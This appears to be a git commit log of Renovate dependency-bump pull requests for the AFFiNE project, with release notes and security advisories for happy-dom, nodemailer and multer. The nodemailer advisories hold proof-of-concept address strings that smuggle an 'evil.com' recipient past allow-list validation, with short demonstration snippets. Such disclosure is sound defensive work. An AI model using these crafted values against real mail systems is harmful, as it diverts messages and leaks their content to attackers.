Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.3...v20.10.4)

##### 👷‍♂️ Patch fixes

- Coerce null qualifiedName to empty string in createDocument - By
**[@&#8203;Firer](https://redirect.github.com/Firer)** in task
[#&#8203;2206](https://redirect.github.com/capricorn86/happy-dom/issues/2206)

###
[`v20.10.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.3)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.2...v20.10.3)

##### 👷‍♂️ Patch fixes

- Fix "\~=" attribute selector matching hyphenated substrings in CSS
selectors - By
**[@&#8203;mixelburg](https://redirect.github.com/mixelburg)** in task
[#&#8203;2194](https://redirect.github.com/capricorn86/happy-dom/issues/2194)

###
[`v20.10.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.2)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.1...v20.10.2)

##### 👷‍♂️ Patch fixes

- Updates external dependencies - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2163](https://redirect.github.com/capricorn86/happy-dom/issues/2163)

###
[`v20.10.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1)

###
[`v20.10.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.9.0...v20.10.0)

##### 🎨 Features

- Adds support for setting a canvas adapter for handling the canvas
rendering using the browser setting
[canvasAdapter](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings)
- By **[@&#8203;RAprogramm](https://redirect.github.com/RAprogramm)**
and **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds new package
[@&#8203;happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter)
- By **[@&#8203;RAprogramm](https://redirect.github.com/RAprogramm)**
and **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
-
[@&#8203;happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter)
is a pluggable canvas adapter for Happy DOM using
[node-canvas](https://redirect.github.com/Automattic/node-canvas).
- Adds support for loading image files when enabling the browser setting
[enableImageFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for loading image data URLs - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for
[ImageData](https://developer.mozilla.org/en-US/docs/Web/API/ImageData)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for
[ImageBitmap](https://developer.mozilla.org/en-US/docs/Web/API/ImageBitmap)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)
- Adds support for
[Window.createImageBitmap()](https://developer.mozilla.org/en-US/docs/Web/API/Window/createImageBitmap)
- By **[@&#8203;capricorn86](https://redirect.github.com/capricorn86)**
in task
[#&#8203;241](https://redirect.github.com/capricorn86/happy-dom/issues/241)

###
[`v20.9.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.9.0)

[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.8.9...v20.9.0)

##### 🎨 Features

- Adds support for event listener properties on Window (e.g.
`Window.onkeydown`) - By
**[@&#8203;capricorn86](https://redirect.github.com/capricorn86)** in
task
[#&#8203;2131](https://redirect.github.com/capricorn86/happy-dom/issues/2131)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-25 13:21:34 +08:00
renovate[bot] cb9a9a72bc chore: bump up nodemailer version to v10.1.4 [SECURITY] (#15738)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nodemailer](https://nodemailer.com/)
([source](https://redirect.github.com/nodemailer/nodemailer)) |
[`10.0.13` →
`10.1.4`](https://renovatebot.com/diffs/npm/nodemailer/10.0.13/10.1.4) |
![age](https://developer.mend.io/api/mc/badges/age/npm/nodemailer/10.1.4?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nodemailer/10.0.13/10.1.4?slim=true)
|

---

### Nodemailer: A ">" inside a quoted local part ends an angle-addr
early in addressparser, delivering to a domain the header does not name

[GHSA-85x2-q946-cp5h](https://redirect.github.com/advisories/GHSA-85x2-q946-cp5h)

<details>
<summary>More information</summary>

#### Details
##### Vulnerability summary

addressparser ends an angle-addr at the first `>` it sees, including one
inside a quoted local part, a comment or a domain literal. The domain is
then read off the text in front of that `>`. `<"a@evil.com>"@good.com>`
is the mailbox `"a@evil.com>"@good.com` under RFC 5322, and Nodemailer
read it as an address at `evil.com`. The unbracketed spelling of the
same value was already read correctly. Affected: 3.0.0 through 10.1.3.

##### Attacker capabilities

The attacker controls the text of a recipient or sender address that an
application passes to Nodemailer, for example a To value entered in a
contact or invite form, or the header of an inbound message parsed with
mailparser. No access to the application, its configuration or its
credentials is needed. The value is a syntactically valid RFC 5322
address that conformant parsers accept without defects.

##### Realistic exploitation scenario

An application lets users send invitations or notifications only to
addresses at an allowed domain and validates the submitted value with a
conformant parser or by checking its domain. The attacker submits
`<"a@evil.com>"@good.com>`, which validates as a `good.com` mailbox.
Nodemailer then parses the same value, issues `RCPT TO:<"\"a"@evil.com>`
and the message, with whatever content the application puts into it, is
delivered to the attacker's domain. The security boundary crossed is the
application's recipient allow list. In the inbound direction, mailparser
reports a different address than a conformant reader of the same header,
so a display or policy layer built on the two disagrees.

##### Proof of concept

```js
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("<\"a@evil.com>\"@good.com>"));
// [ { address: '"a@evil.com', name: '@good.com>' } ]
```

Python's `email._header_value_parser.get_address_list` reads the same
value as `"a@evil.com>"@good.com`, with no defects reported.

The envelope a message gets is built from the same parse, so `sendMail({
to: "<\"a@evil.com>\"@good.com>" })` issues the RCPT TO shown above.

##### Security impact

Mail that an application intends for an allowed domain is delivered to a
domain chosen by the attacker, which discloses its content. It is a
security vulnerability rather than a parsing bug because the misreading
only occurs for values that a conformant validator approves, so
validation done the right way is bypassed. Affected are applications
that pass user influenced addresses to Nodemailer and consumers of the
standalone parser such as mailparser.

The fix tracks quoted strings, comments and domain literals inside an
angle-addr and reads only a `>` outside them.

Found in an internal review of addressparser on 2026-10-18. Verified on
3.0.0, 6.9.16 and 10.1.3.

#### Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-85x2-q946-cp5h](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-85x2-q946-cp5h)
-
[https://github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2](https://redirect.github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2)
-
[https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.1.4)
-
[https://github.com/advisories/GHSA-85x2-q946-cp5h](https://redirect.github.com/advisories/GHSA-85x2-q946-cp5h)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-85x2-q946-cp5h)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Nodemailer: A ";" inside a quoted string or comment ends an address
group early in addressparser, turning display text into a recipient

[GHSA-m943-m63m-w62w](https://redirect.github.com/advisories/GHSA-m943-m63m-w62w)

<details>
<summary>More information</summary>

#### Details
##### Vulnerability summary

addressparser ends an RFC 5322 group at the first `;`, including one
inside a quoted display name or a comment. The text after it is parsed
again as top level recipients with the quoting flipped, so text that
every conformant parser reads as a display name or comment becomes a
live address. `G: (a; <evil@evil.com>) <v@victim.com>;` names only
`v@victim.com`, and Nodemailer read it as the single recipient
`evil@evil.com`. Affected: 3.0.0 through 10.1.3.

##### Attacker capabilities

The attacker controls the text of an address field that an application
passes to Nodemailer, or the header of an inbound message parsed with
mailparser. No access to the application, its configuration or its
credentials is needed. The value is a syntactically valid RFC 5322 group
that conformant parsers accept without defects.

##### Realistic exploitation scenario

An application validates the recipients of a submitted address list with
a conformant parser and only allows addresses at its own domain. The
attacker submits `G: (a; <evil@evil.com>) <v@victim.com>;`. The
validator sees one mailbox, `v@victim.com`, and approves it. Nodemailer
delivers to `evil@evil.com` only. The same works through a quoted
display name, `G: "a;" "<evil@evil.com>" <v@victim.com>;`. The boundary
crossed is the application's recipient allow list.

##### Proof of concept

```js
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("G: (a; <evil@evil.com>) <v@victim.com>;"));
// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]
```

Python's `email._header_value_parser.get_address_list` reads the same
value as the single mailbox `v@victim.com`, with no defects reported.

The envelope a message gets is built from the same parse, so `sendMail({
to: "G: (a; <evil@evil.com>) <v@victim.com>;" })` issues the RCPT TO
shown above.

##### Security impact

Mail that an application intends for an approved recipient goes to a
recipient chosen by the attacker, which discloses its content, and the
intended recipient never receives it. The misreading only occurs on
values a conformant validator approves, so correct validation is
bypassed, which makes it a security issue rather than a parsing bug.
Affected are applications that pass user influenced address lists to
Nodemailer and consumers of the standalone parser such as mailparser.

The fix tracks quoted strings and comments inside a group and reads only
a `;` outside them.

Found in an internal review of addressparser on 2026-10-18. Verified on
3.0.0, 6.9.16 and 10.1.3.

#### Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-m943-m63m-w62w](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-m943-m63m-w62w)
-
[https://github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2](https://redirect.github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2)
-
[https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.1.4)
-
[https://github.com/advisories/GHSA-m943-m63m-w62w](https://redirect.github.com/advisories/GHSA-m943-m63m-w62w)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-m943-m63m-w62w)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Nodemailer: A nested comment ends early in addressparser, releasing
the rest of the comment as a recipient

[GHSA-8c8m-p3m8-cjg8](https://redirect.github.com/advisories/GHSA-8c8m-p3m8-cjg8)

<details>
<summary>More information</summary>

#### Details
##### Vulnerability summary

RFC 5322 comments nest. addressparser ended a comment at the first `)`,
including the one that closes a nested comment, and parsed the rest of
the outer comment as header text. `Victim (x(y) <evil@evil.com>)
<v@victim.com>` names `v@victim.com` with `x(y) <evil@evil.com>` as a
comment, and Nodemailer read it as the address `evil@evil.com`. This is
the same shape as the escaped parenthesis fixed in 10.1.2, reached
through nesting instead of a quoted-pair. Affected: 3.0.0 through
10.1.3.

##### Attacker capabilities

The attacker controls the text of an address that an application passes
to Nodemailer, or the From or To header of an inbound message parsed
with mailparser. No access to the application, its configuration or its
credentials is needed. The value is a syntactically valid RFC 5322
address that conformant parsers accept without defects.

##### Realistic exploitation scenario

An application validates a submitted address with a conformant parser
and allows only its own domain. The attacker submits `Victim (x(y)
<evil@evil.com>) <v@victim.com>`, which validates as `v@victim.com`.
Nodemailer delivers to `evil@evil.com`. In the inbound direction, a
DMARC or display layer built on a conformant parser and a mail client
built on mailparser disagree on the author of the same message, which is
the setting for sender spoofing. The boundary crossed is the
application's recipient allow list, or the author check of the receiving
side.

##### Proof of concept

```js
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("Victim (x(y) <evil@evil.com>) <v@victim.com>"));
// [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ]
```

Python's `email._header_value_parser.get_address_list` reads the same
value as `v@victim.com` with the display name `Victim`, with no defects
reported.

The envelope a message gets is built from the same parse, so `sendMail({
to: "Victim (x(y) <evil@evil.com>) <v@victim.com>" })` issues the RCPT
TO shown above.

##### Security impact

Mail intended for an approved recipient is delivered to an attacker
chosen domain, disclosing its content, and parsers built on this module
report a different author than conformant ones. The misreading only
occurs on values a conformant validator approves, so correct validation
is bypassed. Affected are applications that pass user influenced
addresses to Nodemailer and consumers of the standalone parser such as
mailparser.

The fix counts comment depth and ends a comment only at the `)` that
closes the outermost one.

Found in an internal review of addressparser on 2026-10-18. Verified on
3.0.0, 6.9.16 and 10.1.3.

#### Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N`

#### References
-
[https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8c8m-p3m8-cjg8](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-8c8m-p3m8-cjg8)
-
[https://github.com/nodemailer/nodemailer/commit/0a8761762ac78f2db2ba37f712f2a52a404ce011](https://redirect.github.com/nodemailer/nodemailer/commit/0a8761762ac78f2db2ba37f712f2a52a404ce011)
-
[https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.1.4)
-
[https://github.com/advisories/GHSA-8c8m-p3m8-cjg8](https://redirect.github.com/advisories/GHSA-8c8m-p3m8-cjg8)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-8c8m-p3m8-cjg8)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>nodemailer/nodemailer (nodemailer)</summary>

###
[`v10.1.4`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1014-2026-10-18)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.3...v10.1.4)

##### Bug Fixes

- **addressparser:** apply the unexpected "<" rule outside quotes and
comments
([ee35f57](https://redirect.github.com/nodemailer/nodemailer/commit/ee35f5745658bf46952651fa53207255e9dc3406))
- **addressparser:** bound group nesting at ten levels
([ce63303](https://redirect.github.com/nodemailer/nodemailer/commit/ce633031d58f8d2e9c9b0f5b671944a1afe71f95))
- **addressparser:** drop the obsolete route from an angle-addr
([3dbc730](https://redirect.github.com/nodemailer/nodemailer/commit/3dbc7304b0cfa06551543fa2dc01222447c2b554))
- **addressparser:** end a comment only at the ")" that closes the
outermost one
([0a87617](https://redirect.github.com/nodemailer/nodemailer/commit/0a8761762ac78f2db2ba37f712f2a52a404ce011))
- **addressparser:** honour quoted strings and comments inside an
angle-addr and a group
([1cd57d2](https://redirect.github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2))
- **addressparser:** never read a mailbox out of a comment
([a1538ea](https://redirect.github.com/nodemailer/nodemailer/commit/a1538ea39c76c48a4134806c41e31e59a258b1e5))
- **addressparser:** read CFWS beside the "@&#8203;" of an addr-spec as
nothing
([ba3c095](https://redirect.github.com/nodemailer/nodemailer/commit/ba3c0952542581f95cb20d9322cc9e27baa470a2))
- **addressparser:** read the first addr-spec of the display text
([038940a](https://redirect.github.com/nodemailer/nodemailer/commit/038940a069a2cecb64a70d0e81b17eb8ce200d3a))
- split a domain literal off at the "@&#8203;" in front of it
([d5983b0](https://redirect.github.com/nodemailer/nodemailer/commit/d5983b0ae234cd22ab45be817fefd434e9a53d58))

###
[`v10.1.3`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1013-2026-10-18)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.2...v10.1.3)

##### Bug Fixes

- format References and strip URLs in linear time, release any number of
streams
([2f18641](https://redirect.github.com/nodemailer/nodemailer/commit/2f186418cf6c8fff18f235d4318892fd42f810fa))

###
[`v10.1.2`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1012-2026-10-16)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.1...v10.1.2)

##### Bug Fixes

- bound the work a message can make the mailer do and keep per-message
auth off the transport's token endpoint
([e347fa2](https://redirect.github.com/nodemailer/nodemailer/commit/e347fa2260a7e342e772a7e187937aa87ac96364))

###
[`v10.1.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1011-2026-10-14)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.0...v10.1.1)

##### Bug Fixes

- **fetch:** strip credentials on any cross-origin redirect
([a15360c](https://redirect.github.com/nodemailer/nodemailer/commit/a15360cd2cd12e4670e96ab0b7290e8c862391cf))

###
[`v10.1.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1010-2026-10-10)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.16...v10.1.0)

##### Features

- harden message streams, SMTP connections and the connection pool
([8009da6](https://redirect.github.com/nodemailer/nodemailer/commit/8009da6e10bb8e10d7f0948a25d65895fdcd64f1))

##### Bug Fixes

- do not read the environment or the interface table on import
([094179d](https://redirect.github.com/nodemailer/nodemailer/commit/094179d176d2ebe7a28742411ad427d3c87a3981))
- end the SMTP session on any 421 reply and drive the envelope through
one step
([5638ac1](https://redirect.github.com/nodemailer/nodemailer/commit/5638ac1914342460df270f736e7ceb0a844cf83a))
- keep ERR_ACCESS_DENIED from the Node.js permission model
([8b33a3d](https://redirect.github.com/nodemailer/nodemailer/commit/8b33a3d4fedee3431b97da7da12af954c3c8dceb))
- let the proxy handshake and the SMTP connection share one deadline
([91ed683](https://redirect.github.com/nodemailer/nodemailer/commit/91ed683f7a1e9ff8c56e24fb76facf16af08b162))
- **mime-node:** decode an SMTPUTF8 domain from its A-label form
([e436f4d](https://redirect.github.com/nodemailer/nodemailer/commit/e436f4dccbc8b0fb57b4747ebaafa5bb035c15cb))
- **mime-node:** finish an encoded part only after its output was read
([ec97d8f](https://redirect.github.com/nodemailer/nodemailer/commit/ec97d8f679a1d9d47bbebb03ea064f5fa6f58d01))
- **qp:** encode a lone CR or LF in binary quoted-printable parts
([42b91d9](https://redirect.github.com/nodemailer/nodemailer/commit/42b91d9a0fe18eea412c9774c5c142adf5b3efc7))
- **smtp-connection:** count the wait for the greeting against
connectionTimeout
([bdcd046](https://redirect.github.com/nodemailer/nodemailer/commit/bdcd0462cab163eca3c34058d09b9981ab671c47))
- **smtp-connection:** drop the connection when DATA is taken after a
refused sender
([f90fb04](https://redirect.github.com/nodemailer/nodemailer/commit/f90fb045bc24f96a128710791b2fa443e64f55fd))
- **smtp-connection:** refuse a second connect() call
([24ba2e0](https://redirect.github.com/nodemailer/nodemailer/commit/24ba2e0847ecb8202540f1c5e53483bd119ae4f2))
- turn Nagle off for SMTP sockets and report an early sendmail exit as
such
([fa9b8d3](https://redirect.github.com/nodemailer/nodemailer/commit/fa9b8d300bf642cd9e11f6732ebb312c09868677))

##### Performance Improvements

- encode base64 and quoted-printable without per-chunk delays
([fd377bb](https://redirect.github.com/nodemailer/nodemailer/commit/fd377bbf559363860aedbedba6f107348fc152d2))

###
[`v10.0.16`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#10016-2026-10-07)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.15...v10.0.16)

##### Bug Fixes

- **addressparser:** keep an escaped parenthesis inside a comment
([c4ae20d](https://redirect.github.com/nodemailer/nodemailer/commit/c4ae20d074ac0510cc2d0cbd6039ee7fab3a4ca8))
- **fetch:** keep the case of cookie names
([#&#8203;1888](https://redirect.github.com/nodemailer/nodemailer/issues/1888))
([9f16eed](https://redirect.github.com/nodemailer/nodemailer/commit/9f16eedf8de0485e6d07969113db992ff70f89ce))
- **fetch:** read the cookie name-value pair by position
([645e97c](https://redirect.github.com/nodemailer/nodemailer/commit/645e97c8f0586404d9fb861c9527be7572c2c832))

###
[`v10.0.15`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#10015-2026-10-05)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.14...v10.0.15)

##### Bug Fixes

- **errors:** inherit NodemailerError code from ErrnoException
([e99db61](https://redirect.github.com/nodemailer/nodemailer/commit/e99db61d51c244e184a3a79103d1d732ffb6376b)),
closes
[#&#8203;1884](https://redirect.github.com/nodemailer/nodemailer/issues/1884)
- **errors:** keep NodemailerError compatible with
[@&#8203;types/node](https://redirect.github.com/types/node) 26
ErrnoException
([#&#8203;1885](https://redirect.github.com/nodemailer/nodemailer/issues/1885))
([b660328](https://redirect.github.com/nodemailer/nodemailer/commit/b6603286cc45bff52c13cc74e5ac47f424452fdc))

###
[`v10.0.14`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#10014-2026-10-03)

[Compare
Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.13...v10.0.14)

##### Bug Fixes

- **addressparser:** keep a quoted display name that holds no "@&#8203;"
out of the address
([3570d26](https://redirect.github.com/nodemailer/nodemailer/commit/3570d26c7b55f6e5df50d4076046600ad3fd040b))
- **addressparser:** keep the group recursion depth out of the options
object
([a680254](https://redirect.github.com/nodemailer/nodemailer/commit/a68025405a1378c82e78f64ffad27b92c1035cbe))
- **addressparser:** stop a "\[" from hiding the operators after it
([5619784](https://redirect.github.com/nodemailer/nodemailer/commit/561978491d5cc33d2052a6c89a499b838b960262))
- **dkim:** trim a header field name in linear time
([c6f7a55](https://redirect.github.com/nodemailer/nodemailer/commit/c6f7a55a2978bf031b8519ebf59baddf94c032c8))
- **mime-funcs:** read and write header parameters per rfc2045 and
rfc2231
([b8ccad7](https://redirect.github.com/nodemailer/nodemailer/commit/b8ccad723a7e49a674a4d70f32eb9fe77312008d))
- search only the new bytes for the end of the proxy CONNECT response
([81efd7b](https://redirect.github.com/nodemailer/nodemailer/commit/81efd7bfc559305f900d6a22b5c56aa94556002b))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-25 13:21:13 +08:00
renovate[bot] e8aae4e443 chore: bump up multer version to v2.5.0 [SECURITY] (#15737)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [multer](https://redirect.github.com/expressjs/multer) | [`2.4.0` →
`2.5.0`](https://renovatebot.com/diffs/npm/multer/2.4.0/2.5.0) |
![age](https://developer.mend.io/api/mc/badges/age/npm/multer/2.5.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/multer/2.4.0/2.5.0?slim=true)
|

---

### multer vulnerable to Denial of Service via a pending asynchronous
fileFilter after request teardown
[CVE-2026-113872](https://nvd.nist.gov/vuln/detail/CVE-2026-113872) /
[GHSA-q7qp-rjg7-q26m](https://redirect.github.com/advisories/GHSA-q7qp-rjg7-q26m)

<details>
<summary>More information</summary>

#### Details
##### Impact

When `multer` is configured with an asynchronous `fileFilter`, a single
request can crash the Node.js process. If a request is aborted (for
example when one file is rejected) while another file's async
`fileFilter` is still pending, the pending callback later resumes a
parsing stream that multer has already torn down. busboy then emits an
error on a stream that no longer has an error listener, which Node
raises as an unhandled `'error'` event, and the process exits. A single
unauthenticated request is enough, so any application using `multer`
with an asynchronous `fileFilter` is affected, regardless of storage
engine. Uploads using a synchronous `fileFilter` are not affected.

##### Patches

Users should upgrade to `multer` `2.5.0` or later.

##### Workarounds

Use a synchronous `fileFilter`.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

#### References
-
[https://github.com/expressjs/multer/security/advisories/GHSA-q7qp-rjg7-q26m](https://redirect.github.com/expressjs/multer/security/advisories/GHSA-q7qp-rjg7-q26m)
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-113872](https://nvd.nist.gov/vuln/detail/CVE-2026-113872)
-
[https://github.com/expressjs/multer/commit/80a2d9df1dfd63b5fab631b8b9966164ed647adf](https://redirect.github.com/expressjs/multer/commit/80a2d9df1dfd63b5fab631b8b9966164ed647adf)
-
[https://cna.openjsf.org/security-advisories.html](https://cna.openjsf.org/security-advisories.html)
-
[https://github.com/expressjs/multer/releases/tag/v2.5.0](https://redirect.github.com/expressjs/multer/releases/tag/v2.5.0)
-
[https://github.com/advisories/GHSA-q7qp-rjg7-q26m](https://redirect.github.com/advisories/GHSA-q7qp-rjg7-q26m)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-q7qp-rjg7-q26m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>expressjs/multer (multer)</summary>

###
[`v2.5.0`](https://redirect.github.com/expressjs/multer/blob/HEAD/CHANGELOG.md#250)

[Compare
Source](https://redirect.github.com/expressjs/multer/compare/v2.4.0...v2.5.0)

- Fix
[CVE-2026-113872](https://www.cve.org/CVERecord?id=CVE-2026-113872)
([GHSA-q7qp-rjg7-q26m](https://redirect.github.com/expressjs/multer/security/advisories/GHSA-q7qp-rjg7-q26m))
- Accept a field value of exactly `limits.fieldSize` bytes, so
`LIMIT_FIELD_VALUE` fires only when the limit is exceeded. This also
covers the default `fieldSize` of 1MB, so a
[`1048576`](https://redirect.github.com/expressjs/multer/commit/1048576)
byte value is no longer rejected when you set no limits. If you set
`fieldSize` one higher to work around this, you can drop the extra one
([#&#8203;1481](https://redirect.github.com/expressjs/multer/pull/1481))
- Do not add a file to the abort cleanup list when its storage engine
reports an error after a `LIMIT_FILE_SIZE` abort; `DiskStorage` no
longer tries to unlink an undefined path
([#&#8203;1489](https://redirect.github.com/expressjs/multer/pull/1489))

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-10-25 13:20:14 +08:00
DarkSky e32f8dce04 chore: bump deps (#15729)
#### PR Dependency Tree


* **PR #15729** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

